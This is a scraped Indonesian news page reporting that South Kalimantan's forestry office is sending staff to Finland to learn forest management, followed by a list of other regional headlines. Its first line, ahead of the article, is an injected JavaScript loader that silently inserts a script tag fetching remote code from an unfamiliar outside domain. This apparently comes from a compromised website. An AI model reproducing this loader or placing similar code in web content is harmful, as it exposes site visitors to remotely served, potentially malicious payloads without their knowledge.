(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
DISHUT PROV KALSEL

Hanif: Potensi Kehutanan Kalsel Sangat Besar, Tapi Manfaat Belum Signifikan


BANJARBARU, Potensi kehutanan Kalsel masih terus dikembangkan untuk memberikan manfaat sebesarnya bagi kesehateraan masyarakat. Belajar dari hal tersebut, Dinas Kehutanan Kalsel bertekad memaksimalkan pengembangan kehutanan dengan belajar sistem pengelolaan Finlandia. Beberapa orang bahkan sudah dikirim untuk belajar di sana.

Kepala Dinas Kehutanan Kalsel Hanif Faisol Nurofiq mengatakan, pengelolaan hutan yang dilakukan pemerintah Finlandia sangat baik karena selain memperhatikan lingkungan juga hasilnya bermanfaat bagi masyarakat maupun pemerintah. “Kita mengirimkan enam pegawai Dishut, dua petugas KPH dan satu akademisi Universitas Lambung Mangkurat guna mengikuti kursus pengelolaan hutan ke Finlandia,” terangnya.

Pengiriman peserta kursus merupakan tindak lanjut kesepakatan (Mou) antara pemerintah Indonesia dengan Finlandia di bidang pengelolaan hutan dan sumber daya alam. Mereka mengikuti kursus sejak 5 Oktober hingga 18 November 2018 dan diharapkan mampu mendapatkan ilmu pengelolaan hutan dan SDA sehingga bisa diterapkan di Kalsel.

“Kalsel bisa mencontoh Finlandia dalam pengelolaan hutan dan sumber daya alam karena meski luasan hutannya relatif kecil tetapi mereka bisa menjadi negara pengendali ekspor kayu. Kawasan hutan mereka tidak luas, hasil hutannya pun juga tidak spesifik tetapi Finlandia mampu menjadi negara pengendali ekspor kayu Eropa sehingga kelebihan itu akan diadopsi,” ucap dia.

Di sisi lain, pengelolaan hutan yang dilakukan pemerintah Finlandia secara teknik maupun regulasi sangat baik dan memperhatikan lingkungan terutama terkait penebangan pohon. “Mereka benar-benar menerapkan teknik dan regulasi yang ketat. Bahkan penebangan pohon diatur sesuai usia pohon sehingga kawasan hutan maupun lingkungan terpelihara,” ujarnya.

Hanif mengatakan, pengelolaan hutan dan sumber daya manusia di Kalsel sangat diperlukan karena potensi hutan masih sangat besar mencapai 1,7 juta hektare atau 46 persen dari luasan Kalsel. “Potensi hutan Kalsel masih sangat besar tetapi manfaat belum signifikan sehingga diperlukan pengelolaan yang lebih baik agar hasil dan manfaatnya maksimal,” katanya.(rendy)

Reporter : Rendy
Editor : Chell

Desy Arfianty

Recent Posts

Syarat Calon Non Partai Pilkada Banjarmasin Wajib Miliki 41 Ribu KTP Dukungan

KANALKALIMANTAN.COM, BANJARMASIN - Jelang Pemilihan Kepala Daerah (Pilkada) 2024, kandidat bakal calon Wali Kota dan… Read More

24 menit ago

MUI Banjar Berikan Pembekalan kepada Jemaah Calon Haji Kabupaten Banjar

KANALKALIMANTAN.COM, MARTAPURA - Jemaah Calon Haji (JCH) Kabupaten Banjar Tahun 2024 yang seluruhnya berjumlah 452… Read More

48 menit ago

Pj Bupati HSU Pimpin Peringatan Hardiknas 2024

KANALKALIMANTAN.COM, AMUNTAI - Pemerintah Kabupaten Hulu Sungai Utara (HSU) menggelar peringatan Hari Pendidikan Nasional (Hardiknas)… Read More

1 jam ago

Kontrol Overpopulasi Kucing Beranak Pinak di Banjarbaru, 150 Pejantan Dikebiri

KANALKALIMANTAN.COM, BANJARBARU - Sebanyak 150 ekor kucing jantan di Kota Banjarbaru, Kalimantan Selatan (Kalsel) mendapat… Read More

3 jam ago

Dominasi Golkar di Rumah Banjar, Ini 55 Calon Terpilih Anggota DPRD Kalsel 2024-2029

KANALKALIMANTAN.COM, BANJARMASIN - Komisi Pemilihan Umum (KPU) Provinsi Kalimantan Selatan (Kalsel) resmi menetapkan perolehan kursi… Read More

4 jam ago

Serang Markas Polisi di Kobar Kalteng, Empat Lelaki Diringkus

KANALKALIMANTAN.COM, PANGKALAN BUN - Malam yang seharusnya tenang di Desa Pangkalan Banteng, Kabupaten Kotawaringin Barat… Read More

5 jam ago

This website uses cookies.